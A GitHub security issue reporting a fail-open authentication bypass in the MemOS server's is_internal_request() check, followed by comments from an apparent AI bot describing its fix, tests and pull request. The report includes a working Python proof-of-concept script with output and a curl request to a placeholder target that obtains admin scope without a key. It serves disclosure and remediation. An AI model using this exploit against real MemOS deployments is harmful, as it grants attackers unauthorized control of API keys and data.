Authentication bypass in MemOS server: internal-service check fails open when INTERNAL_SERVICE_SECRET is unset

[geo-chen]

Pre-submission checklist | 提交前检查

• I have searched existing issues and this hasn't been mentioned before | 我已搜索现有问题，确认此问题尚未被提及
• I have read the project documentation and confirmed this issue doesn't already exist | 我已阅读项目文档并确认此问题尚未存在
• This issue is specific to MemOS and not a general software issue | 该问题是针对 MemOS 的，而不是一般软件问题

Bug Description | 问题描述

reported on 15 June 2026: https://github.com/MemTensor/MemOS/security/advisories/GHSA-9pw6-vmgx-qgwx

Summary

The MemOS authenticated server overlay (memos.api.server_api_ext:app, shipped as
docker/Dockerfile.krolik) protects its admin API-key management endpoints with the
verify_api_key dependency. Before validating a key, that dependency calls
is_internal_request() to allow trusted container-to-container calls. The header branch of
that function is:

internal_header = request.headers.get("X-Internal-Service")
return internal_header == os.getenv("INTERNAL_SERVICE_SECRET")

INTERNAL_SERVICE_SECRET has no default and is not set in any shipped configuration
(Dockerfile, docker-compose, or the Helm chart). When it is unset, os.getenv(...) returns
None. A normal external request that does not send the X-Internal-Service header has
request.headers.get("X-Internal-Service") == None. The comparison becomes None == None,
which is True, so the request is treated as an internal service and granted
scopes: ["all"] without any API key.

The result is that with AUTH_ENABLED=true set (the operator has explicitly turned on
authentication), an unauthenticated remote attacker is authorized as a fully privileged
internal principal and can reach the admin API-key endpoints (create keys, list keys, revoke
keys, generate a master key) as well as all data endpoints. The check fails open rather than
closed.

Affected component

• File: src/memos/api/middleware/auth.py
• Functions: is_internal_request() (line 154) and verify_api_key() (line 182)
• Consumed by: src/memos/api/routers/admin_router.py (every /admin/* route via
  Depends(verify_api_key) / Depends(require_scope("admin")))
• Deployment: src/memos/api/server_api_ext.py (docker/Dockerfile.krolik)

Impact

• Complete bypass of API-key authentication on a deployment that has explicitly enabled it
  (AUTH_ENABLED=true) but has not set the undocumented, defaultless INTERNAL_SERVICE_SECRET.
• The bypassed principal receives scopes: ["all"], which satisfies require_scope("admin").
• An unauthenticated attacker can mint new API keys for any user, enumerate existing keys,
  revoke keys (denial of service), and generate a master key, then use those keys for
  persistent privileged access.
• CWE-697 (Incorrect Comparison) / CWE-305 (Authentication Bypass by Primary Weakness),
  fail-open.

Root cause

is_internal_request() compares two values that are both None in the default deployment:

1. request.headers.get("X-Internal-Service") is None because a normal request does not
   send that header.
2. os.getenv("INTERNAL_SERVICE_SECRET") is None because the variable is never set.

None == None is True, so every header-less request is classified as internal. The safe
behavior is to treat an unset secret as "internal-via-header is disabled" and never match.

How to Reproduce | 如何重现

Proof of Concept

Prerequisites:

• A clone of MemOS at v2.0.19.
• Python 3.11+ with fastapi, starlette, pydantic available.
• No special configuration. INTERNAL_SERVICE_SECRET is intentionally left unset, exactly as
  in every shipped Dockerfile / compose / Helm config. AUTH_ENABLED is set to true to show
  that authentication is enabled yet bypassed.

The PoC calls the real verify_api_key dependency the way FastAPI calls it for an admin
route. It simulates a remote client (source IP 203.0.113.9, which is not in the trusted
INTERNAL_SERVICE_IPS set) and sends no API key.

Save as poc.py inside the repository root and run with PYTHONPATH=src python3 poc.py:

import asyncio, os
# Operator turned authentication ON. INTERNAL_SERVICE_SECRET is left unset (the default).
os.environ["AUTH_ENABLED"] = "true"
os.environ.pop("INTERNAL_SERVICE_SECRET", None)

from starlette.requests import Request
from memos.api.middleware import auth as A

def make_request(headers):
    scope = {
        "type": "http",
        "method": "GET",
        "path": "/admin/keys",
        "client": ("203.0.113.9", 53124),  # external attacker, NOT an internal IP
        "headers": [(k.lower().encode(), v.encode()) for k, v in headers.items()],
    }
    return Request(scope)

async def main():
    print("AUTH_ENABLED          =", A.AUTH_ENABLED)
    print("INTERNAL_SERVICE_SECRET =", os.getenv("INTERNAL_SERVICE_SECRET"))

    # Attacker: external IP, no X-Internal-Service header, no API key.
    result = await A.verify_api_key(make_request({}), api_key=None)
    print("\n[A] no header, no key ->", result)

    # Control: same request but with a guessed header value -> correctly rejected.
    try:
        await A.verify_api_key(make_request({"X-Internal-Service": "guess"}), api_key=None)
        print("[B] wrong header value -> NOT rejected")
    except Exception as e:
        print("[B] wrong header value -> rejected:",
              getattr(e, "status_code", ""), getattr(e, "detail", e))

asyncio.run(main())

Observed output:

AUTH_ENABLED          = True
INTERNAL_SERVICE_SECRET = None

[A] no header, no key -> {'user_name': 'internal', 'scopes': ['all'], 'is_master_key': False, 'is_internal': True}
[B] wrong header value -> rejected: 401 Missing API key

Case [A] shows that an unauthenticated external request is granted scopes: ['all'] as the
internal principal, which satisfies require_scope("admin") and unlocks every /admin/*
endpoint. Case [B] confirms the gate works correctly whenever the two sides of the comparison
differ; the vulnerability is exactly the None == None fail-open.

Over HTTP against a running server_api_ext instance, the equivalent request is:

curl -s http://TARGET:8000/admin/keys

which passes the verify_api_key / require_scope("admin") dependencies as the internal
principal instead of returning 401.

Additional observation (secondary)

server_api_ext.py mounts server_router with
app.include_router(server_router) and no router-level auth dependency, so the /product/*
data endpoints (/product/search, /product/get_all, /product/delete_memory,
/product/chat/*, etc.) have no authentication even when AUTH_ENABLED=true. Only
/admin/* carries Depends(verify_api_key). The fail-open issue above is what additionally
exposes the admin key-management surface.

Suggested fix

• In is_internal_request(), treat an unset secret as disabled and require a non-empty match:

secret = os.getenv("INTERNAL_SERVICE_SECRET")
internal_header = request.headers.get("X-Internal-Service")
if not secret or not internal_header:
    return False
return hmac.compare_digest(internal_header, secret)

• Use a constant-time comparison (hmac.compare_digest) to avoid timing leaks.
• Apply Depends(verify_api_key) (or an appropriate require_scope) to the server_router
  data endpoints so they are protected when AUTH_ENABLED=true.

Environment | 环境信息

docker

Additional Context | 其他信息

No response

Willingness to Implement | 实现意愿

• I'm willing to implement this myself | 我愿意自己解决
• I would like someone else to implement this | 我希望其他人来解决

[Memtensor-AI]

🤖 AutoDev has picked up this issue and started working on it.

Task ID: 18aede470455b543
Working branch: bugfix/autodev-2259-20260816223848617
Target branch: latest dev* branch
Workflow: opsp (analysis → coding → testing → PR)

I will post the PR link here once done. If I need more information, I will ask in the comments.

[Memtensor-AI]

✅ AutoDev task 18aede470455b543 completed.

Summary: Closes the fail-open authentication bypass in memos.api.middleware.auth.is_internal_request() reported in GHSA-9pw6-vmgx-qgwx / issue #2259. In every shipped deployment INTERNAL_SERVICE_SECRET is unset, so os.getenv(...) returned None; a normal external request also produced None from request.headers.get("X-Internal-Service"), and None == None authorised anonymous callers as the internal principal with scopes: ["all"], satisfying require_scope("admin") on every /admin/* route.

The fix reads the secret into a local variable, returns False when either the secret or the header is missing/empty, and compares the two non-empty strings with hmac.compare_digest for constant-time equality. The INTERNAL_SERVICE_IPS allowlist branch is unchanged. No public API, request/response model, config schema, Dockerfile, Helm chart or docs modified — deployments that never set the secret simply lose the never-safely-usable header path.

Added tests/api/test_auth_internal_request.py with 12 regression cases: five reproducing the exact fail-open scenarios (all failed on the unpatched baseline as expected), one asserting hmac.compare_digest is invoked, plus positive-path and end-to-end coverage that runs the advisory PoC against verify_api_key. After the fix all 12 pass; the advisory PoC now returns 401 Missing API key for both header-less and wrong-header external requests. ruff check and ruff format are clean on both changed files. Neighbour tests (tests/api/test_lifecycle.py, test_product_models.py, test_thread_context.py) still green; the 4 pre-existing test_mcp_serve.py failures reproduce identically on the unpatched baseline (missing pytest-asyncio marker in this CI env) and are unrelated to this change.

Scope note: the reporter also observed as a secondary issue that server_router mounted by server_api_ext.py has no auth dependency on /product/* data endpoints. That change touches public routes (AGENTS.md "Ask first" list) and is deferred to a separate issue — this PR intentionally keeps scope tight to the primary fail-open per issue #2259.

Base branch: main
Branch: bugfix/autodev-2259-20260816223848617
Commit: 20dd858
PR: #2260
Assigned to: @syzsunshine219
Reviewers: @WeiminLee